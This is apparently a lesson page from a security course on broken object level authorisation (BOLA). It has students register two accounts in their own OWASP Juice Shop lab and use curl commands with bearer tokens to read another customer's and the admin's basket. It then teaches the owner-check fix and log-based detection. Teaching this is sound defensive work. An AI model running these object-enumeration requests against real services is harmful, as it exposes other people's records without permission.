Easier to read with cream paper, a tint, more contrast or larger text? Choose your colours and text, once, for every page.

Free lesson

Reading objects that are not yours (BOLA)

After this lesson: I can show that an API returns another user's object and write the check that stops it.

55 min lesson9 commandsOWASP Juice Shop lab: a vulnerable web shop to attack in your own copy

A quick check that you are not a bot, then your own lab opens on the interactive lesson.

Already have an account? Sign in

Your basket, by number

Broken object level authorisation, BOLA, is when an API returns an object without checking it belongs to the caller. It is first on the OWASP list because it is common and easy to miss.

Your shopping basket is basket 7. The app asks for /rest/basket/7. What happens if you ask for basket 6?

The one rule

Warning

Read other baskets only in your own lab copy, between accounts you made. On a real service, opening somebody else's record without permission is unauthorised access. In the UK that is a crime under the Computer Misuse Act 1990, whatever the reason.

Quick check: the rule

Have a go

Quick check: the rule

3 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

By the end of this lesson

Note

I can show that an API returns another user's object and write the check that stops it.

Key words

WordWhat it meansExample
BOLAreturning an object without checking its owner
Object idthe number that picks one object/rest/basket/7
Ownerthe account an object belongs to
IDORan older name for the same flaw
Access logthe server's line for every request

The cells students fill in are left blank in this preview.

Starter

Have a go

Starter

4 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

Two customers of your own

To test BOLA honestly you need two accounts you control, so the object you open is still yours to open. Make ben and cy and sign each in.

Each sign-in reply carries a token and a basket id, "bid". The Runs read both out of the reply files, so you never type a number.

Make the first customer

Command
curl -s -H "Content-Type: application/json" -d '{"email":"[email protected]","password":"Ben_12345","passwordRepeat":"Ben_12345"}' http://juice-shop:3000/api/Users

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Make the second customer

Command
curl -s -H "Content-Type: application/json" -d '{"email":"[email protected]","password":"Cy_123456","passwordRepeat":"Cy_123456"}' http://juice-shop:3000/api/Users

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Sign ben in

Command
curl -s -H "Content-Type: application/json" -d '{"email":"[email protected]","password":"Ben_12345"}' -o ben.json http://juice-shop:3000/rest/user/login

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Sign cy in

Command
curl -s -H "Content-Type: application/json" -d '{"email":"[email protected]","password":"Cy_123456"}' -o cy.json http://juice-shop:3000/rest/user/login

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Read both basket ids

Command
grep -o '"bid":[0-9]*' ben.json cy.json

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Check

Have a go

Check

3 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

Ask for a basket that is not yours

First ben reads his own basket: the reply's UserId is ben's id. Then ben asks for basket 1, which the shop made for its admin, and for cy's basket.

If the API checked the owner, ben would get 403 for both. Watch the UserId in each reply instead.

Ben reads his own basket

Command
curl -s -H "Authorization: Bearer $(grep -o 'eyJ[^"]*' ben.json)" http://juice-shop:3000/rest/basket/$(grep -o '"bid":[0-9]*' ben.json | cut -d: -f2) | grep -o '"UserId":[0-9]*'

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Ben reads basket 1

Command
curl -s -H "Authorization: Bearer $(grep -o 'eyJ[^"]*' ben.json)" http://juice-shop:3000/rest/basket/1 | grep -o -E '"UserId":[0-9]*|"name":"[^"]*"'

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Ben reads cy's basket

Command
curl -s -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $(grep -o 'eyJ[^"]*' ben.json)" http://juice-shop:3000/rest/basket/$(grep -o '"bid":[0-9]*' cy.json | cut -d: -f2)

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Check

Have a go

Check

3 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

A common mistake

Warning

Many people think long random ids, such as UUIDs, fix BOLA. They only make ids harder to guess. Ids leak through links, logs and other endpoints, as the account list did. Check the owner on every request, whatever the id looks like.

The fix is one comparison, everywhere

The handler finds who is calling from the token, loads the object, and compares the object's owner with the caller. If they differ and no role allows it, it answers 403, or 404 to hide that the object exists.

Put the check in one place every object endpoint uses, such as a query that always adds WHERE owner = caller.

Try it: an owner check

Code: python
baskets = {1: 1, 6: 21, 7: 22}   # basket id: owner's user id

def read_basket(user_id, basket_id):
    owner = baskets.get(basket_id)
    if owner is None:
        return 404
    if owner != user_id:
        return 403
    return 200

print(read_basket(21, 6), read_basket(21, 1), read_basket(21, 9))
# Change read_basket(21, 1) to read_basket(1, 1). What does the owner get?

Make a free account to save your work and track your progress.

Look for it in the log

Detection needs the account in every log line. The shop's log has the address, the method and the path, but no account, so it cannot say whose basket was read by whom.

A good log line names the caller and the object's owner. Then one account touching many objects it does not own stands out.

What the shop's log knows about baskets

Command
curl -s http://juice-shop:3000/support/logs/access.log.$(date +%F) | grep -o '"GET /rest/basket/[0-9]* ' | sort | uniq -c

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Assignment: spot BOLA in a log

A better log than the shop's: each entry is a dictionary such as {"user": 21, "path": "/rest/basket/7"}. owners maps a basket id to its owner's user id. Write three functions.

object_id(path) returns the basket id at the end of a path /rest/basket/<id> as a whole number, or None for any other path. foreign_reads(log, owners) returns a list of (user, basket) pairs, in log order, for every basket read by somebody who is not its owner (a basket missing from owners counts as foreign). suspects(log, owners, threshold) returns the sorted list of users who read at least threshold different foreign baskets.

Code: python
def object_id(path):
    return None


def foreign_reads(log, owners):
    return []


def suspects(log, owners, threshold):
    return []

Make a free account to save your work and track your progress.

Exit quiz

Have a go

Exit quiz

5 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

Teaching a class? Set this module for your students with a teacher guide, marked assignments and a lab for every student.